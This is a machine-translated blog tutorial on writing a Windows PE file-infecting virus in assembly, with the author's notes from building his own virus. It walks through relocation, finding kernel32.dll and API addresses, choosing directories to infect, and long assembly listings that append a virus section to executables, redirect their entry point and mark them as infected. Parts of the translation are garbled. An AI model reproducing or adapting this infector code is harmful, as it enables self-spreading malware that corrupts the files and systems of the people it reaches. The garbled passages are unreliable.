Document directory
- How to Write a simple virus program
How to Write a simple virus program
Author: QQ: 273764089
Author's mailbox: [email] 273764089@qq.com [/Email]
Author blog: http://hqsoft.blogdriver.com
Reprinted please indicate the source: http://www.czvc.com
Note: The virus technology learned the past few days has suffered a lot and has taken a lot of detours. Despite my knowledge, the virus has become a natural learning content. But now I learned the basics and found that this technology actually hides a lot of xuanjicang, including many technologies. If I don't study it specially, it cannot reach the realm of "Ox. Now I have written this article to introduce something quite practical, which can reduce your detours (sometimes you can find a mistake for several hours ). However, it takes some basic knowledge to understand it. If you have enough knowledge in one day, it would be your pity not to learn the virus. In addition, because it was written for reference by members of the Association, I did not write much "professional", but I gave more details.
Before reading this article, you should know that it is only an article that can bring you an entry point. If you have already done so, you don't have to read it. It is best to prepare a PE table next to it. Virus programs can be written in many languages, such as C and assembly, or even by visual programming tools such as dephi. However, assembly languages are the most suitable for writing virus programs. At the underlying layer of the assembly language, it is flexible and fast. The advantage of small size can bring a virus program into full play. Generally, only a program written in a few kilobytes contains all the functions. Generally, a virus has the following functions:
Code relocation
2. Find the required API address.
3. Search for files and directories
Four infected files
5. damage the system or file (whatever you want)
Among them, two functions are necessary, and five functions are optional. The function of virus programs to infect files is its core and an important standard to measure its quality.
(1) code relocation
A variable or function is actually a memory address. After compilation, the commands in the program are accessed through the memory address of the variable or function. This address is an absolute address. If you insert the code to any other place and use the address generated during the original compilation to find them, you will not be able to find them because they have already moved. However, when writing a program, you can put a few lines of code at the beginning of the code to get the base address of the program, and then use the variable and function as the offset address, explicitly add this base address to find it, which is the relocation. Just like this code.
Call getbaseaddress
Getbaseaddress: Pop EBX
Sub EBX, offset getbaseaddress
MoV eax, dword ptr [EBX + var1]
If you use macro assembly language to write viruses, use EBX as the base address pointer instead of EBP, because EBP changes when calling a function with parameters.
(2) obtain the required API address
The address of the called API function in a Win32 program file is the data structure filled in by the system to describe various data locations in the program file. Virus as a disability cannot enjoy this treatment. Because when you insert the virus code into the target program, you do not include the data structure information that describes the data storage location. After being inserted into other target programs, it becomes a child with only code: (as a child with disabilities, It should be self-reliant. Search for the API address you need. The target program file contains what we need and we need to find it ourselves. As long as the target program file is a Win32 program, its address space contains kernel32.dll. If we find it, we can find anything else. Step 1: Search for the base address of kernel32.dll. Of course, the entire address space is 4 GB, and the user process space available for search is also 2 GB. Searching in 2 GB is too scary. Should users have a cup of tea before executing the infected target program? Or fighting landlords? Here are two tips to introduce.
After the program is loaded, the loader will call the position of the first instruction of the main thread of the program. It uses the CALL command, that is, if your program has not been executed, there will be a return address in the stack. This return address points to the loading program, the loader is included in KERNEL32.dll. We can find the base address of kernel32.dll by following it. Of course, it is not a byte, a byte, but a page. In win32, the code or data start position is always aligned with the page Unit (4 kb in windows. Kernel32.dll is a PE file. We can find it by comparing the dos signature mark and PE signature mark of the PE file. Another way is to use the SHE technique. This is the best method. The previous method is unstable because the stack is dynamic. Generally, the code block that obtains the address can only be placed at the beginning. This method is completely unrelated to the stack, there will be no errors during execution. If your virus needs to use technologies such as remote threads, you 'd better use this method.
The first member points to the next SEH structure. If it is the last one, its value is 0 ffffffffh. The second Member points to the exception handling function. If the last SHE structure is not specified, the default value is the SetUnhandlederExceptionFilter function address. When this function is triggered due to an exception, a dialog box is displayed asking if you do not send an error. 98. This function is included in KERNEL32.dll. You only need to obtain its address and find the base address of KERNEL32.dll. When talking about SHE, you can't forget TEB. TEB is the thread-related data structure allocated when creating a thread. SHE is just the first data structure at the beginning. It also contains many other important things. TEB points to it by the FS segment selector. If you are interested in checking the information, we will not talk about the reason for the length here. Next, let's see how to find the SetUnhanderExceptionFilter function address. First, locate the last SHE structure based on the value of the "Next" SHE structure, and then retrieve the address of the she processing function, that is, the address of the SetUnHandleredEceptionFilter function, find Kernel32.dll on the page/
After obtaining the base address of Kernel32.dll, locate its export table, find the GetProcAddress address, and use GetProcAddress to find any other functions. When searching for an API, pay attention to the API name. The actual export name of the API name may not be the name you call. In windows, many APIs have two versions: ANSI and UNICODE, the function name suffix of the ANSI version contains A, such as create‑wexa, while the function name of the UNICODE version contains W suffixes, such as create‑wexw. However, considering the trouble, many existing compilers do not allow you to write suffixes, but automatically change the name according to whether your program is ANSI or UNICODE during compilation. All API functions after Win2K are of the Unicode version. If you call functions of the ANSI version, the system only converts the strings in the functions into Unicode strings through the default heap of the process, then, call the Unicode API. Unicode is a development direction. You should develop the habit of using it instead of ANSI.
(3) Searching for files and directories
We mainly use the FindFirstFile, FindNextFile, and FindClose functions. It is worth noting that when you use "*. *" to search for strings, all the files and directories in the directory where the program files are located are obtained. GetCurrentDirectory obtains the current directory of the system. The latter changes with user operations at any time. The former changes only with the location of the target program file. When searching for directories and files that need to be infected, you should focus on searching for the windows Installation Directory (GetWindowsDirectory), the system directory (GetSystemDIrectory), and the current directory (GetCurrentDirectory). Of course, the current directory of the program cannot be accessed, for example, if you have infected QQ, there are so many program files under the QQ directory that are often used, such as coral worm plug-ins and email tools. My favorite infection is the directory of various processes in the system. Those are the most commonly used by users. My Suining No. 1 virus is implemented through code insertion, which is very troublesome, and unstable. It is often puzzling that the inserted process ends at the time of insertion. Although SHE can be used to avoid it, it still has little effect. I am now imagining my next virus. At that time, I will use PEB to enumerate the directories where various processes are located. Without code insertion, the virus will be much more stable, in Suining No. 1, the enumeration process uses toolhelp functions to enable the virus to run normally on Windows 98.
(4) infected files
The so-called infection is to insert the virus program code into the target program, and then let the target program first execute the virus program code. As for the position where the code is inserted into the target program, how to execute the inserted virus code for the target program, and when to infect any file, it is the core of the infection issue. First, we will discuss where the virus code will take effect after it is inserted into the target program.
The executable files in Windows are in PE format. You can think of them as two parts. The first part describes the data structure of various data storage locations, and the second part describes various types of data, such as resources, code, and data. Therefore, if you want to correctly Insert the code into the target program file, you must read and modify the data structure that describes various data storage locations in the target program file. Next we will calculate the position of our code insertion. Here we will talk about the simplest insert method, which will be implemented by adding a new section in the file.
Push eax
Push FILE_ATTRIBUTE_NORMAL
Push eax
Call DWORD ptr [ebx + SetFileAttributes1]
Pop eax
Push NULL
Push FILE_ATTRIBUTE_NORMAL
Push OPEN_EXISTING
Push NULL
Push 0
Push GENERIC_READ or GENERIC_WRITE
Push eax
Call DWORD ptr [ebx + CreateFile1]
Inc eax
Jz @ error1
Dec eax
Mov DWORD ptr [ebx + hFile], eax
You don't need to talk about the above steps. open the file! Put the file name pointer in eax
Push NULL
Push DWORD ptr [ebx + hFile]
Call DWORD ptr [ebx + GetFileSize1]
Mov DWORD ptr [ebx + dwFileSize], eax
Push NULL
Push 0
Push 0
Push PAGE_READWRITE
Push NULL
Push DWORD ptr [ebx + hFile]
Call DWORD ptr [ebx + CreateFileMapping1]
Or eax, eax
Jz @ error1
Mov DWORD ptr [ebx + hMap], eax
Push 0
Push 0
Push 0
Push FILE_MAP_READ or FILE_MAP_WRITE
Push DWORD ptr [ebx + hMap]
Call DWORD ptr [ebx + MapViewOfFile1]
Or eax, eax
Jz @ error1
Mov DWORD ptr [ebx + pMap], eax
Mov esi, eax
Cmp WORD ptr [esi], 'zm'
Jnz @ error1
Add esi, DWORD ptr [esi + 3ch]
Cmp WORD ptr [esi], 'ep'
Jnz @ error1
Cmp DWORD ptr [esi + 4ch], '1. ns'
Jz @ error1
These steps map the file and determine whether the file is in PE format. Is it infected? If one of the two conditions is met, it indicates that it is not necessary to infect it. Jump to @ error1.
Mov eax, DWORD ptr [ebx + dwFileSize]
Add eax, Virus_End-Virus_Start
Mov ecx, DWORD ptr [esi + 3ch]
Call align1
After obtaining the file size, add it to the virus volume and then align the file. Note that file alignment is required. Align1 is an alignment subroutine. The align1. align1. align1. align1. align1. align1. align1. align1. align1. align1. align1. align1. align1. align1.
Speaking of this, I got angry again. I started to read the tutorial. The alignment method mentioned in this article is incorrect and I didn't notice it, once I wasted three nights for this mistake, and I lost confidence. This error is alignment. The so-called alignment is to combine a number (unaligned number) into a multiple of another number (alignment factor). The alignment method he described is like this, he said, divide the number of non-alignment by the alignment factor, subtract the remainder from the alignment factor, and add the number after the unaligned number. I started to verify that a few values are correct, and most files can also be correctly infected, but there are just a few files that cause problems once infected. Later I found that the file alignment problem was solved, so I changed a method that is more logical and easy to figure out. An unaligned number is always a multiple of alignment factors, we first find that the number of non-alignment is several times that of the alignment factor, so we use the number of non-alignment divided by the alignment factor. If the remainder is not alignment, the difference is doubled, multiply the operator by the alignment factor to obtain the alignment value. If the alignment factor itself is larger than the original number, there is still a remainder, plus a number multiplied by the alignment factor, which is twice the alignment factor, so this method is simple and logical. This is the method. But I don't blame Billy belceb very much, because he was 16 years old when he was writing electronic tutorials. It is very valuable to write such in-depth articles at the age of 16. Admire ~~~.
MoV dword ptr [EBX + dwfilesize], eax
Push dword ptr [EBX + pmap]
Call dword ptr [EBX + unmapviewoffile1]
Push dword ptr [EBX + hmap]
Call dword ptr [EBX + closehandle1]
Push 0
Push dword ptr [EBX + dwfilesize]
Push 0
Push page_readwrite
Push 0
Push DWORD ptr [ebx + hFile]
Call DWORD ptr [ebx + CreateFileMapping1]
Or eax, eax
Jz @ error1
Mov DWORD ptr [ebx + hMap], eax
Push 0
Push 0
Push 0
Push FILE_MAP_READ or FILE_MAP_WRITE
Push DWORD ptr [ebx + hMap]
Call DWORD ptr [ebx + MapViewOfFile1]
Or eax, eax
Jz @ error1
Mov DWORD ptr [ebx + pMap], eax
Remap all file views to files based on the new file size after alignment. In this case, the size of the file on the disk is also increased.
Mov esi, eax
Add esi, DWORD ptr [esi + 3ch]
The following two lines of code ensure that the infected program does not bring up an error dialog box that cannot load xx dll when running under XP !! When I don't know, I once wrote a low-level virus that can infect many files. I thought the virus infection was like this, but one day, I found that the Notepad program that was infected with the virus could not be used. I always prompted "invalid Win32 program" that I wrote the virus again, I changed the code but it still didn't work. I am very disappointed to read articles online. I accidentally saw an article by Lao Luo. In one of the articles, he wrote a special comment. I am grateful to someone who helped him with the technology and pointed out that 0 should be cleared at XX. It seems that he has also encountered this problem. I added his code to my program, and the miracle found that it can be infected normally. I checked a lot of information and did not find out what the structure is. I only know that it is the 11th member of image_data_directory.
Push 0
Pop [ESI + image_nt_headers.optionalheader.datadirectory (88)]
MoV ECx, dword ptr [ESI + 74 h]
SHL ECx, 3
XOR edX, EDX
Lea EDI, [ECx + ESI + 78 H]
Movzx eax, word PTR [ESI + 6 H]
Imul eax, eax, 28 h
Add EDI, eax; locate to the end of the last section
; Start filling in the new section struct
This code is easy to locate at the end of the last section after the section table. You may use sizeofheader plus numberofsection * section size 28 h, but I still compare the method I am using. The reason is that there must be a lot of compatibility. My method is to get the number of image_data_directory multiplied by the size of its header plus the remaining size of other headers. Plus the number of table sections * the size of the section is 28 h. Many viruses use this method. Why? I think windows may expand the number of image_data_directory members in the future. So it is better to achieve it dynamically. Now, EDI has pointed to the end of the section table. Now it is the site for adding a new section: (enter the content of our section table for it immediately.
MoV dword ptr [EDI], '1ns'
MoV dword ptr [EDI + 8], Virus_End-Virus_Start
Enter the section name SN1 (This field has eight bytes) and the virus size value for virtual size (physical size in some places). This value does not need to be aligned. When it comes to alignment, you should be clear that the data section alignment in the memory and the data file alignment in the file.
MoV ECx, dword ptr [ESI + 38 H]
Moveax, dword ptr [edi-28h + 0ch]
Add eax, dword ptr [edi-28h + 8 h]
MoV ECx, dword ptr [ESI + 38 H]
Invoke align1
MoV dword ptr [EDI + 0ch], eax
After the section alignment is obtained, assign a value to the memory address when the Section's virtual address Member is installed in the memory. The method is to get the starting address of the previous section and the un-aligned size of the previous section, that is, the virtual size must be aligned by the Section.
MoV ECx, dword ptr [ESI + 3ch]
Mov eax, Virus_End-Virus_Start
Invoke Align1
Mov DWORD ptr [edi + 10 h], eax
Now we have given the SizeOfRawData value to the Section. This field refers to the size of the Section in the file. It must be aligned with the file. Well, we can get the virus size. After the file is aligned, we can do it.
Mov eax, DWORD ptr [edi-28h + 10 h]
Add eax, DWORD ptr [edi-28h + 14 h]
Mov DWORD ptr [edi + 14 h], eax
The offset value of a section in the file is PointerToRawData. The calculation method of this value is to add the SizeOfRawData of the previous section to the PointerToRawData of the previous section. Why? Let's make it easy. It's useless to learn it without moving your brains.
Mov DWORD ptr [edi + 24 h], 0E00000E0h
This domain is the best to understand. The member name is characteristics. There are readable, readable, writable, executable, and shareable attributes. The most important attributes are the ones I listed. Sharing is hard to understand, shared attributes allow the data or code in this section to reject copy on write. What is copy on write? For example, there are 10 instances running in notepad, windows allocates 10 process spaces of the same size to the same program. Microsoft is not so stupid. In order to save memory, he uses a technology called copy during write. When the 10 notebooks run simultaneously, the process spaces of the 10 notebooks are mapped to the same physical memory. When a notepad wants to write data into it, the data changes completely, the other nine notebooks will be affected, but with the copy technique interference during writing, the notepad that writes data will be allocated with another block of memory, the new physical memory is projected to the address of the process space written in the notepad, and the original data is copied to the new memory, in this way, when it is written again, it is the new memory, so it is happy that nothing will affect other processes. If you do not understand, go to the "Windows core programming" Memory Management Section. Let's go back to our infection problem. If your section has shared attributes, it means that it rejects the Copy technology when writing data, that is, the notebook that writes data, the other 9 notebooks will be affected. If this is a variable, it is the global or shared variable that can be affected by 10 notebooks.
MoV eax, dword ptr [EDI + 0ch]
Add eax, Start-Virus_Start
The above two lines of code are useful after calculating the entry point of the virus code. The calculation method is simple. It is the start Number of the place where the virus starts to execute and the start Number of the virus starts virus_start, you may not understand it. This is because the virus started not where the virus started to execute code. There is a large data segment before the virus started to execute code, the data is also included in the Code segment. That is to say, my virus has only one section. Text. (The Code section is called. Text )-
Push dword ptr [ESI + 28 h]
Pop dword ptr [EBX + oldip]
Save the original code entry point of the target file. This is an offset. If you really want to jump back to the original code entry point, you cannot just execute AddressOfEntryPointer (pointer of the original code entry point ), you also need to add an ImageBase member to skip the step. Otherwise, your virus will commit suicide. Why? Because AddressOfEntryPointer is an offset with a small number, a hop is likely to jump to the system process space larger than 2 GB. You can see that AddressOfEntryPointer is not yours. Unless you use SHE.
Push eax
Pop DWORD ptr [esi + 28 h]
Add the Virtual Address Member value of the Offset Address of this section to the entry point of the virus code calculated in the previous step. Why do we need to add two Offsets? Because your brain won't bend :(
; Calculate the new sizeofimage
Mov eax, Virus_End-Virus_Start
Add eax, DWORD ptr [esi + 50 h]
Mov ecx, DWORD ptr [esi + 38 h]
Invoke Align1
Mov DWORD ptr [esi + 50 h], eax
This SizeOfImage member is terrible! In Windows, this value is a bit unaligned. Many people once suffered losses in this place, FT. This value indicates the size of the entire executable body ing in the memory. Add the new size and the original SIzeOfImage to the Section alignment. If the infected file cannot run one day, check whether the problem exists.
Inc WORD ptr [esi + 6 h]
I just added a section and now add the value of NumberOfSection to one
Push DWORD ptr [esi + 34 h]
Pop DWORD ptr [ebx + oldbase]
Obtain the base address of the memory when the program file is running. Our virus is relocated and cannot be used, but we need to use it to switch back to the code entry point of the original program file for further execution. We have already mentioned it clearly.
Mov eax, DWORD ptr [edi + 10 h]; get file offset
Add eax, DWORD ptr [edi + 14 h]; with the file size, haha, the file offset is small, and it is the last section. You may have come up with something smart, is this clearly the end Of the file? This stuff is reserved for later use.
And DWORD ptr [ebx + IsInject], 0; this value does not matter. This is a flag variable used by other processes.
Push eax
Mov DWORD ptr [esi + 4ch], '1. ns'
Mov ecx, Virus_End-Virus_Start
Mov edi, DWORD ptr [edi + 14 h]
Add edi, DWORD ptr [ebx + pMap]
Lea esi, [ebx + Virus_Start]
Rep movsb
The main function of the code above is to write the virus code according to the position pointed to by the PointerToRawData of the newly added section.
Push DWORD ptr [ebx + pMap]
Call DWORD ptr [ebx + UnmapViewOfFile1]
Push DWORD ptr [ebx + hMap]
Call DWORD ptr [ebx + CloseHandle1]
Close the memory ing file. If you do not understand it, review Win32Api.
Pop eax
Push FILE_BEGIN
Push 0
Push eax
Push dword ptr [EBX + hfile]
Call dword ptr [EBX + setfilepointer1]
Move the file pointer from the beginning to the end of the new file.
Push dword ptr [EBX + hfile]
Call dword ptr [EBX + setendoffile1]
Set the position pointed to by the file pointer to the end position (actually adjusting the file size). Why? At the beginning, I changed the file size to the original file size + the non-aligned virus size during file ing. However, this size is incorrect. It should be the size of the original file + the virus body alignment, so I called the scanner function to change the end of the file to the position of pointertorawdata + sizeofrawdata in my new section, the size equals to the size of the original file + sizeofrawdata is the size after the virus body alignment. Of course, you can map the size of the original file + the size after the virus body alignment at the beginning, in this way, it is better to call fewer functions. I plan to make a major transformation in my next version of the virus, so such junk code will not appear again.
@ Error1:
Push dword ptr [EBX + hfile]
Call dword ptr [EBX + closehandle1]
Close the file, and the file changes smoothly.
Push dword ptr [EBX + pmap]
Call dword ptr [EBX + unmapviewoffile1]
Push dword ptr [EBX + hmap]
Call dword ptr [EBX + closehandle1]
RET
Finally, this article is very spam, more like my study notes, haha. I admit that writing this article has deepened my memory, but I hope that you will be able to make fewer mistakes in the twists and turns of virus technology learning, because I am already a zombie, and you don't have to die again. It is terrible for new users to make mistakes in programs such as virus writing. It may be fatal, because they can hardly be found, and the errors here are often not as simple as the syntax errors of the program, you must have a comprehensive analysis and a comprehensive understanding of the system to quickly locate errors. I have made many mistakes, many of which are the "low-level" mistakes made during the entire night. I wasted a lot of debugging time, FT. In addition, the article does not talk about so many brilliant technologies, because I am also exploring. After learning the content in this article, you can refer to the entry point Fuzzy Technology, polymorphism engine technology, and virtual machine technology. Simple and practical techniques include how to infect files without changing the file size, PEB and TEB struct, and code Insertion Technology. The more you study later, the higher requirements for your compilation skills. You should also learn Assembly knowledge, such as programming in protective mode and some instruction sets such as MMX, while improving your technology. I only know a little about the above knowledge. I am also a zombie. There are still many books to read in the future, 88.